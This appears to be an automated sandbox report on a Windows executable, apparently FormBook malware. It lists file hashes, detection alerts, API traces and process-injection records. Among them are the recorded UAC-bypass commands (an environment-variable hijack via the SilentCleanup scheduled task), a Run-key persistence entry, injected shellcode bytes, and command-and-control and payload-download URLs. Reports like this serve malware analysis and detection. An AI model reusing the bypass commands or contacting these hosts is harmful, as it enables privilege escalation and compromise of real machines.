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vbc.exe

Downloader Malicious Library FTP Code injection DGA HTTP Escalate priviledges Create Service KeyLogger Sniff Audio Internet API DNS P2P Http API Steal credential ScreenShot Socket AntiDebug PE File PE32 AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 3, 2021, 8:49 a.m. Sept. 3, 2021, 8:51 a.m.
Size 863.5KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 dd5c7e917f28bbe04bb177571eadb4b6
SHA256 27cad802a32ea893bce26ae89b2c77825d4ece889932addbcb922ff2c3d73425
CRC32 2E5533D8
ssdeep 12288:K1+UzwWLYx9/EISfjI3916W3WOsA0QLEkpwaGKqa/yv1pKQcj2VncY:+BfYx9tGjI39DmOs5KTGKqXv7cSc
Yara
  • PE_Header_Zero - PE File Signature
  • Malicious_Library_Zero - Malicious_Library
  • IsPE32 - (no description)

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.101:57460 -> 164.124.101.2:53 2026888 ET INFO DNS Query for Suspicious .icu Domain Potentially Bad Traffic
TCP 192.168.56.101:49202 -> 13.107.42.12:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49201 -> 13.107.42.13:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49203 -> 13.107.42.12:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49220 -> 209.99.64.55:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 209.99.64.55:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 209.99.64.55:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49227 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49227 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49227 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49218 -> 75.2.18.233:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49218 -> 75.2.18.233:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49218 -> 75.2.18.233:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49222 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49222 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49222 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49229 -> 184.168.131.241:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49229 -> 184.168.131.241:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49229 -> 184.168.131.241:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49202
13.107.42.12:443 		C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLSv1
192.168.56.101:49201
13.107.42.13:443 		C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 CN=onedrive.com 50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb
TLSv1
192.168.56.101:49203
13.107.42.12:443 		C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01 C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: C:\Users\Public>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: start
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /min C:\Users\Public\UKO.bat
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\Public>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: reg
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: delete hkcu\Environment /v windir /f
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\Public>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: reg
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\Public>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: schtasks
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: exit
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: ERROR:
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: The system was unable to find the specified registry key or value.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: The operation completed successfully.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: ERROR:
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: The system cannot find the path specified.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: C:\Users\Public>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: start
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /min reg delete hkcu\Environment /v windir /f
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: The operation completed successfully.
console_handle: 0x00000007
1 1 0
section .itext
packer BobSoft Mini Delphi -> BoB / BobSoft
suspicious_features GET method with no useragent header suspicious_request GET http://www.meo6.com/ecuu/?QXNXP=uphTDjQ0dle&KnbdJ0x8=YvsDOebvdn33iOC+v2Ok61M54opkfPvcWjQzCgbatYYSU9v1OQaSbdzIzzvoqR0JelM+izEt
suspicious_features GET method with no useragent header suspicious_request GET http://www.keplersark.com/ecuu/?KnbdJ0x8=ErLy2cxkmBgc+vcby4/4OzScNwRwZNunoYkj9ouMgCM9dfa6mhMp1sEqnAK/47sh9WzSWDcB&QXNXP=uphTDjQ0dle
suspicious_features GET method with no useragent header suspicious_request GET http://www.poorwhitetrashlivesmatter.net/ecuu/?KnbdJ0x8=Pl7Wo/Sc18YTVh4ZfRYn9GaIW3hmPNugWLqq+bwHPa7GGyOQcNaR6G/8c/+q5jU1tNJ+hTp8&QXNXP=uphTDjQ0dle
suspicious_features GET method with no useragent header suspicious_request GET http://www.tasteofourneighborhood.com/ecuu/?KnbdJ0x8=2bt83kpOuVtEIWyxUzi5DXhitRFjdhq2G+J/5YNEy7Qmu4jdCi+MNXaEKclGMLIx7+ZhZc0n&QXNXP=uphTDjQ0dle
suspicious_features GET method with no useragent header suspicious_request GET http://www.tehridam.com/ecuu/?KnbdJ0x8=52vxKUookbImOzTI7E+jd1wlXpyw0GfihJo0VkeqObbGxcjgEHmk7kL8PM63ES7BEXBsCGUk&QXNXP=uphTDjQ0dle
request POST http://www.meo6.com/ecuu/
request GET http://www.meo6.com/ecuu/?QXNXP=uphTDjQ0dle&KnbdJ0x8=YvsDOebvdn33iOC+v2Ok61M54opkfPvcWjQzCgbatYYSU9v1OQaSbdzIzzvoqR0JelM+izEt
request POST http://www.keplersark.com/ecuu/
request GET http://www.keplersark.com/ecuu/?KnbdJ0x8=ErLy2cxkmBgc+vcby4/4OzScNwRwZNunoYkj9ouMgCM9dfa6mhMp1sEqnAK/47sh9WzSWDcB&QXNXP=uphTDjQ0dle
request POST http://www.poorwhitetrashlivesmatter.net/ecuu/
request GET http://www.poorwhitetrashlivesmatter.net/ecuu/?KnbdJ0x8=Pl7Wo/Sc18YTVh4ZfRYn9GaIW3hmPNugWLqq+bwHPa7GGyOQcNaR6G/8c/+q5jU1tNJ+hTp8&QXNXP=uphTDjQ0dle
request POST http://www.tasteofourneighborhood.com/ecuu/
request GET http://www.tasteofourneighborhood.com/ecuu/?KnbdJ0x8=2bt83kpOuVtEIWyxUzi5DXhitRFjdhq2G+J/5YNEy7Qmu4jdCi+MNXaEKclGMLIx7+ZhZc0n&QXNXP=uphTDjQ0dle
request POST http://www.tehridam.com/ecuu/
request GET http://www.tehridam.com/ecuu/?KnbdJ0x8=52vxKUookbImOzTI7E+jd1wlXpyw0GfihJo0VkeqObbGxcjgEHmk7kL8PM63ES7BEXBsCGUk&QXNXP=uphTDjQ0dle
request GET https://onedrive.live.com/download?cid=D020578D515FAC65&resid=D020578D515FAC65%21115&authkey=ALSj_v3qn6Sm-X0
request GET https://acgxog.bn.files.1drv.com/y4msQ2m08EEz55CIox4ARzCARZSov_y6dCjL9KyqanqqW24yqFPyPmAgiFkMG2QbocQDtxoJAsMXRLcnBYdf8Vmf7dCAnr4ai6BcsbO0ode1OHkU4-B6Sxcc3qyHm0RZE5d-tYL-NoCSGPbNRA3cyLtIuCoQ-QdtoRv_MGoP5vP5pvjd4CsmpmBh0gXQQ5_PYLHYy5XUPfni0s7poAfWfxe5Q/Skxlgyfleozjvblodjbfwvxsubblvwz?download&psid=1
request GET https://acgxog.bn.files.1drv.com/y4m7zPsFxg1v3fwqegpu63QQ7Fqy5_pkQlSDyodYXMkhDfs6Eqn0yvdAB_1nA0Mg0phAL6brhc-_wzn9DLIYxLRo85j16Plvt7WWn6XgOs8UGEv1lOweLvn8i3THvR44IPsolZ9HquJOzHeiCP5Qsolbxd7DhqPopNhWuDz6y0_Izi3L5QEZPtHC3V5xn34TUKOYuGoK6yyPWpMskHmo3fbLg/Skxlgyfleozjvblodjbfwvxsubblvwz?download&psid=1
request POST http://www.meo6.com/ecuu/
request POST http://www.keplersark.com/ecuu/
request POST http://www.poorwhitetrashlivesmatter.net/ecuu/
request POST http://www.tasteofourneighborhood.com/ecuu/
request POST http://www.tehridam.com/ecuu/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1908
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73cc2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1908
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x10410000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\Public\KDECO.bat
file C:\Users\Public\UKO.bat
file C:\Users\Public\Libraries\Skxlgyf\Skxlgyf.exe
file C:\Users\Public\Trast.bat
file C:\Users\Public\nest.bat
cmdline C:\Windows\System32\mshta.exe
cmdline C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1908
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 81920
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x00641000
process_handle: 0xffffffff
1 0 0
section {u'size_of_data': u'0x0003a000', u'virtual_address': u'0x0006d000', u'entropy': 7.338419660687233, u'name': u'.data', u'virtual_size': u'0x00039fdc'} entropy 7.33841966069 description A section with a high entropy has been found
entropy 0.268985507246 description Overall entropy of this PE file is high
description Communication using DGA rule Network_DGA
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Create a windows service rule Create_Service
description Record Audio rule Sniff_Audio
description Escalate priviledges rule Escalate_priviledges
description Run a KeyLogger rule KeyLogger
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description Match Windows Inet API call rule Str_Win32_Internet_API
description Communications over FTP rule Network_FTP
description Take ScreenShot rule ScreenShot
description Match Windows Http API call rule Str_Win32_Http_API
description Steal credential rule local_credential_Steal
description File Downloader rule Network_Downloader
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Communication using DGA rule Network_DGA
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Create a windows service rule Create_Service
description Record Audio rule Sniff_Audio
description Escalate priviledges rule Escalate_priviledges
description Run a KeyLogger rule KeyLogger
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description Match Windows Inet API call rule Str_Win32_Internet_API
description Communications over FTP rule Network_FTP
description Take ScreenShot rule ScreenShot
description Match Windows Http API call rule Str_Win32_Http_API
description Steal credential rule local_credential_Steal
description File Downloader rule Network_Downloader
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
cmdline schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline reg delete hkcu\Environment /v windir /f
cmdline reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
buffer Buffer with sha1: da7b8beaa95ffd1be369c07e68e9a9cf9c919e43
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x10410000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000524
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000b0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000524
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000c0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000524
1 0 0
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Skxlgyf reg_value C:\Users\Public\Libraries\fyglxkS.url
Process injection Process 1908 created a remote thread in non-child process 2720
Time & API Arguments Status Return Repeated

CreateRemoteThread

 thread_identifier: 668
process_identifier: 2720
function_address: 0x000c0000
flags: 0
stack_size: 0
parameter: 0x000b0000
process_handle: 0x00000524
1 1324 0
Process injection Process 1908 manipulating memory of non-child process 2720
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x10410000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000524
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000b0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000524
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000c0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000524
1 0 0
Process injection Process 1908 injected into non-child 2720
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: A@ÑB
base_address: 0x000b0000
process_identifier: 2720
process_handle: 0x00000524
1 1 0

WriteProcessMemory

 buffer: U‹ìƒÄø‹E‹‰Uø‹P‰Uü1ÀPjÿuøÿUüYY]@U‹ìƒÄÔSVW‹ú‹ðEԋ\Doèñÿÿ3ÀUh%Modÿ0d‰ ÆEÿ‹G<ljEô»Ãj@h0‹Eô‹@PP‹Eô‹@4ÃPèÄÿÿ‰Eðƒ}ðt0h€j‹EðPè»ÿÿj@h0‹Eô‹@PP‹Eô‹@4ÃPVè–ÿÿ‰Eðƒ}ðuû0v—EÔP‹Ï‹Uð‹Æ蝋EԅÀt7‰Eè‹Uà‰UìUøR‹UØRP‹EðPVè‚ÿÿjjMèºðKo‹Æè_ýÿÿ…ÀtÆEÿ3ÀZYYd‰h,MoEԋ\DoèÄÿÿÃ
base_address: 0x000c0000
process_identifier: 2720
process_handle: 0x00000524
1 1 0
process vbc.exe useragent zipo
process vbc.exe useragent aswe
Process injection Process 2664 resumed a thread in remote process 2092
Process injection Process 2064 resumed a thread in remote process 1304
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000088
suspend_count: 0
process_identifier: 2092
1 0 0

NtResumeThread

 thread_handle: 0x00000088
suspend_count: 0
process_identifier: 1304
1 0 0
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dead_host 47.91.170.222:80